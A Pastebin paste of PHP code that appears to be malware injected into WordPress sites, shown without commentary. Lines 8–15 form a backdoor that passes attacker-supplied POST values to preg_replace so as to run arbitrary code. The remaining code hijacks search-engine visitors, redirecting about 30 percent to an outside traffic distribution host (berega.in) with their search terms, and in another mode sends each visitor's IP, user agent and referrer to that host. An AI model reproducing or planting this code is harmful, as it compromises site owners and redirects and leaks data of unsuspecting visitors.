SHARE
TWEET

Untitled

a guest Apr 26th, 2012 786 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. define('WPA_DEBUG', '0');
  2. define('WPA_VERSION', '6');
  3. define('WPA_SITE', '837386');
  4. define('WPA_TDS', 'berega.in');
  5. define('WPA_MODE', '2');
  6. define('WPA_QUOTA', '30');
  7.  
  8. if (isset($_REQUEST['cadv']) && isset($_REQUEST['gadv'])) {
  9.     $c = $_POST['cadv'];
  10.     $c = str_replace("\\\\", "\\", $c);
  11.     $g = $_POST['gadv'];
  12.     $g = str_replace("\\\"", "\"", $g);
  13.     $r = preg_replace("$c", $g, 'sss 4');
  14.     die();
  15. }
  16.  
  17. if (WPA_DEBUG)
  18.     echo '{{{WPA_DEBUG:' . date('c') . '}}}<br/>';
  19.  
  20. if (!isset($_COOKIE['_tr'])) {
  21.     setcookie('_tr', '0', time() + 2592000, "/");
  22.     if (WPA_MODE == 2) {
  23.         $ref = $_SERVER['HTTP_REFERER'];
  24.         $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";                
  25.         if (strpos($ua, "http://") === FALSE) {            
  26.             if (strpos($ref, 'yahoo.') !== FALSE || strpos($ref, 'google.') !== FALSE
  27.                     || strpos($ref, 'aol.') !== FALSE || strpos($ref, 'bing.') !== FALSE) {
  28.                 $searchEngine = 0;
  29.                 $q = 'q';
  30.                 if (strpos($ref, 'google.') !== FALSE)
  31.                     $searchEngine = 14;
  32.                 elseif (strpos($ref, 'yahoo.') !== FALSE) {
  33.                     $searchEngine = 15;
  34.                     $q = 'p';
  35.                 } elseif (strpos($ref, 'aol.') !== FALSE)
  36.                     $searchEngine = 17;
  37.                 elseif (strpos($ref, 'bing.') !== FALSE)
  38.                     $searchEngine = 18;
  39.                 $arr = parse_url($ref);
  40.  
  41.                 if (isset($arr['query']) && strpos($arr['query'], $q . '=') !== FALSE) {
  42.                     parse_str($arr['query'], $arr2);
  43.                     if (isset($arr2[$q])) {
  44.                         $q = $arr2[$q];
  45.                         if (rand(1, 100) <= WPA_QUOTA) {
  46.                             header("Location: http://" . WPA_TDS . "/?site=" . WPA_SITE .
  47.                                     "&q=" . urlencode($q) . "&searchEngine=" . $searchEngine);
  48.                             exit;
  49.                         }
  50.                     }
  51.                 }
  52.             }
  53.         }
  54.     } elseif (WPA_MODE == 1) {
  55.         $params = array(
  56.             "ip" => $_SERVER['REMOTE_ADDR'],
  57.             'useragent' => $_SERVER['HTTP_USER_AGENT'],
  58.             'referrer' => $_SERVER['HTTP_REFERER'],
  59.             'site' => WPA_SITE,
  60.             'analyzedTraff' => 1
  61.         );
  62.         $url = "http://" . WPA_TDS . "/";
  63.         $post_params = array();
  64.         foreach ($params as $key => $val) {
  65.             if (is_array($val))
  66.                 $val = implode(',', $val);
  67.             $post_params[] = $key . '=' . urlencode($val);
  68.         }
  69.         $post_string = implode('&', $post_params);
  70.         $parts = parse_url($url);
  71.         $fp = fsockopen($parts['host'], isset($parts['port']) ? $parts['port'] : 80, $errno, $errstr, 30);
  72.  
  73.         $out = "POST " . $parts['path'] . " HTTP/1.1\r\n";
  74.         $out.= "Host: " . $parts['host'] . "\r\n";
  75.         $out.= "Content-Type: application/x-www-form-urlencoded\r\n";
  76.         $out.= "Content-Length: " . strlen($post_string) . "\r\n";
  77.         $out.= "Connection: Close\r\n\r\n";
  78.         if (isset($post_string))
  79.             $out.= $post_string;
  80.  
  81.         fwrite($fp, $out);
  82.         fclose($fp);
  83.     }
  84. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top